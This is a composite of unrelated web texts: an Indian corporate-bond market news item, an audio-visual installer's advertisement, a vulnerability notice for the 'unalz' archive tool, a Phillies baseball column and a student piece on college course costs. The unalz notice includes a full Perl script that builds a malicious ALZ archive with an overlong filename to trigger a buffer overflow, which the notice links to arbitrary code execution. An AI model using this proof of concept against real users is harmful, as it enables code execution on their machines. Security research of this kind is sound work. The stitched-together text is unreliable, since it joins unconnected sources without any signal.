The RH Patil committee report on corporate bonds had suggested that bringing in market makers, mainly banks and bond houses (or primary dealers), will create a demand for bonds and deepen the market. The capital market regulator is keen to introduce a system where banks, bond houses, mutual funds and insurance companies will buy and sell corporate bonds through a faceless, order-matching electronic platform.
SEBI may reintroduce the system of shelf prospectus, which helps companies to do away with a fresh filing for every issuance.
Several international players like ICAP, Reuters and Bloomberg have shown interest in setting up platforms for screen-based trading. "The challenge before us is to create regulations wherein these platforms are not perceived as exchanges," said the SEBI official who added that platforms should be identified as a system for bilateral settlement of trades.
SEBI is currently working on measures to draw companies to the corporate bond market. The system of shelf prospectus will be an important step. Introduced four years ago, it enabled companies to do away with a fresh filing for every issuance.
SEBI had recently authorised the Fixed Income, Money Markets and Derivatives Association (Fimmda) to set up a platform to report secondary transactions in corporate bonds. It has also asked Fimmda to aggregate data placed on its own platform, along with that reported on BSE and NSE, where corporate bonds are currently traded.
Meanwhile, primary dealers (PDs), through Fimmda, have suggested that instead of fund raising through private placement of bonds, companies can get a finer price if bond issuance happens through an auction-based mechanism. Just like gilt auctions, PDs would be allowed to bid in the allotment.
Recently, the State Bank of Travancore and Vijaya Bank hit the bond market. "While the bonds issued by SBT had a rating only one level higher than Vijaya Bank, there was a difference of 30 basis points in their coupons. Typically, the differential between such issues should be 5-10 basis points, but it rose to 30 bps in this case," said an official with a PD.
In case of private placements, pricing is done by merchant bankers who bargain with issuing banks for commissions. "As against this, an auction-based procedure would give way for pricing determined by competitive forces," he said.
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Jaw-Dropping Home Theaters and Conference Rooms for Southlake, TX Homeowners and Businesses
Imagine the astounded looks on your guests' or clients' faces when you blow them away with an amazing home theater or conference room! Consider the thrilling experience you can have whenever you want. A massive screen, heart-pounding sound, and an intense experience can be yours…
But you have to hire the right audio visual company to make it happen.
How Do You Know You've Found The Best Audio Visual Installers in Southlake, TX
When you have to hire any professional service contractor, you check them out carefully. You need to do the same with, and maybe even use more intense scrutiny, when you look for an audio visual company.
That's because just about anyone can call themselves an audio video service or professional. Just like anyone who swings a hammer can be a general contractor.
At Crown Audio Video, you can count on us to give you one of the best commercial board rooms or home theaters in Southlake because we:
Are trusted by area pro athletes and big names like the Texas Rangers, Coca-Cola, General Electric, Ebby Halliday, Mercedes-Benz, and more (Feel free to ask for references for proof.)
Have a perfect A+ BBB rating and 0 complaints closed in the past 3 years (just go to BBB.org/dallas/ and search "Crown Audio Video")
Have 8 years in business in Southlake and more than 150 combined years of professional experience. That means you can get any custom system your mind can imagine built to perfection.
Are 1 of 23 winners (out of 3,500 candidates) of Control 4's Southern Region Circle of Excellent Award. (see this link for proof)
Are certified Control 4 and Crestron dealers. These brands are not available to you at big-name retailers.
What's Different about Crown Audio Video?
The main reason to choose our home theater and media room installation professionals is experience. With a company with limited experience, you have fewer options, bells, and whistles.
Our 150 combined years of professional experience means that if you can dream it, we can make it happen. You'll also get suggestions if you're not sure what to do. And it also means we know how to deliver you more than other companies do for the same budget, so you get more value for your money.
We also have an on-site CNC cutting machine for custom woodworking. If you want your A/V system installed in beautiful woodwork, we can do that too. You don't have to go searching for multiple contractors to get the job done, like you do with many A/V companies.
Finally, we can also work with any budget. Regardless of how much you want to spend, you'll have a system that wows your family or clients for years.
Get Your Free Consultation Today to Learn How to Make Your Home Theater or Conference Room Dreams Reality
We're happy to visit your home or business and explain to you all the possible options for doing exactly what you want.
Simply call Crown Audio Video at 214-377-9434 or contact us online today to schedule your free consultation.
…And if you're not ready to buy yet, visit our showroom and experience the thrilling intensity of our A/V systems in person. You can find us at 126 Oak Lawn Ave.
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What are some techniques I can use to find a top A/V service?
You can get ideas from friends, coworkers, and family members. But you should do your research online. Check out the company's BBB rating, Google Reviews, Yelp, on-site testimonials, certifications, and experience.
Consider what you see with all those factors. And then talk to the company in person to see how much you trust them. After you check all those and compare them across a few companies, you'll know the right one.
How much should I budget for my home A/V system, home automation project, or commercial board room?
Whatever you feel is reasonable. Good installers work with any budget size. And of course, the sky is the limit. Projects can range in cost from a few thousand to tens of thousands of dollars.
It all depends on what you want. Better installers charge higher prices. Would you go to the cheaper of two doctors? Things work the same way for home automation professionals. It's your choice.
What should I expect from their service?
Just like any other professional, your A/V company should be polite and courteous. Every call should be returned promptly – 24 hours or faster. They should be sensitive to your budget, working with what you have and not trying to pressure you into things you don't want.
When they're done with the work, not a spec of dust should be left behind. And – the real differentiator – you should get great post-sales and installation follow-up service.
Should I have to manage more than one contractor during the process?
With many audio video companies you will. They simply can't do it all. But a rare few do take care of all aspects of installation so you don't have to deal with the hassle of finding multiple contractors.
When you find a company like that, work with them.
You can get all the benefits of points 1-4 with Crown Audio Video. Call us today at 214-377-9434 or contact us online to schedule your free consultation.
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The 'unalz' utility is prone to a buffer-overflow vulnerability. This issue is exposed when the application extracts an ALZ archive that contains a file with a long name.
An attacker could exploit this vulnerability to execute arbitrary code in the context of the user who extracts a malicious archive.
#!/usr/bin/perl --
# alzgen
# by Ulf Harnhammar in 2005
# I hereby place this program in the public domain.
die "usage: $0 <length> <filename>\n" unless @ARGV == 2;
$len = shift;
$lenhi = int($len / 256);
$lenlo = $len - ($lenhi * 256);
$file = shift;
open(OUT, ">$file") or die "can't open file!\n";
print OUT "\x42\x4c\x5a\x01" . # SIG_LOCAL_FILE_HEADER
chr($lenlo) . chr($lenhi) . # filename length
"\x00" x 7 .
'U' x $len;
close OUT or die "can't close file!?!?\n";


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August 16 Philadelphia Daily News columnist Rich Hofmann
"The Phillies have done a creditable job of remaining lasered for the last 6 weeks, in the time that Chase Utley and then, later, Ryan Howard have been under repair. Backed by more consistent starting pitching, they have played about .600 baseball in that time and gained a smidgen in the National League East standings.
Now, we all have one eye on Utley's Clearwater rehab assignment (where the conclave appears ready to send the white smoke up the chimney) and the other eye on Howard's fading limp. They both could be back sometime this week. The presumption among the paying customers is that the Phillies will take off like a rocket when these two return to the lineup, and they might. Waiting for Chase, waiting for Ryan – it has become a favored rite of anticipation.
There is another one, though, quieter and more uncertain.
Waiting for Jimmy.
It has been the season of Jimmy Rollins' nightmares. Two separate disabled-list visits with a recurring calf problem, a terrible whack on his ankle with a foul ball, start, stop, start, stop – and now, if nothing else happens, he'll end up playing about 100 games.
Their shortstop, their leadoff hitter, their unconventional ignition switch for a decade now, Rollins was limping along with a .243 batting average going into last night's game against the Mets at Citi Field. It is the worst of his career, and it is getting late, and everybody knows it.
"I keep waiting for him to get his stroke," Phillies manager Charlie Manuel said. "He's having a hard time finding his swing."
Manuel said, "He doesn't have a good feel."
He said, "He's not hitting the ball crisp."
And, "He works on it every day but he's having a hard time finding it."
Meanwhile, there are only 45 games left on the schedule. And last night left you wondering if maybe, just maybe, the thing that might lead Rollins out of his funk could be his legs.
In the third inning of the Phillies' 3-1 victory, with two outs, he served a single into leftfield, stole second base, stole third base, and then scored on a double by Shane Victorino. It was one of those constructively disruptive sequences that always have been a part of the Rollins trademark.
"When I get on, I try to take advantage – especially on days when I'm feeling a little better," said Rollins, who acknowledged that his ankle felt noticeably better on Saturday when he rounded first base and was surprised to feel no pain.
"Rollins and Victorino stealing [manufacturing a later run], it was the first time in a long time . . . when we had them on base like that," Manuel said. "They kind of manufactured some runs that way. That was our offense.""
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At Truman College, college classes cost $89 per credit hour.
As middle college students we think this is a great cost because at universities, the per credit hour cost could be double or triple that!
How many courses have you taken? How much $ is that?
On average (2012-2013) a Truman Middle College student earned 5 credit hours which is a savings of $545. The highest amount earned has been 20 credit hours—which is a savings of $1,880! On the Leadership Team, three students are currently taking at least two college courses during this semester.
How many courses do you expect you will take before you graduate?
The three students who are taking college courses expect to have at least two or three college courses under their belt each.
If you were taking those courses at a 4 year institution in your local area how much would comparable courses cost?
At NEIU it is $275 per credit hour. At UIC it is $4,394 per semester! We realize that we are at an advantage being in a middle college and we have the opportunity to take college courses while still in high school. In this economy, it is so great to have the chance to save money where we can.
What other college fees are you exempt from paying: i.e. registration? Lab fees? Computer, library, PE,?
Typical fees at Truman College are about $100, but the middle college students get a waiver for this and only have to pay once. The fees go toward the registration fee and the lab—which you only have to pay once for dual enrollment.
How much are the textbooks for the courses you take? How much do you save?
Textbooks are free because we get waivers. It saves us around $200! This is so great because once again, the more money we could save—the better!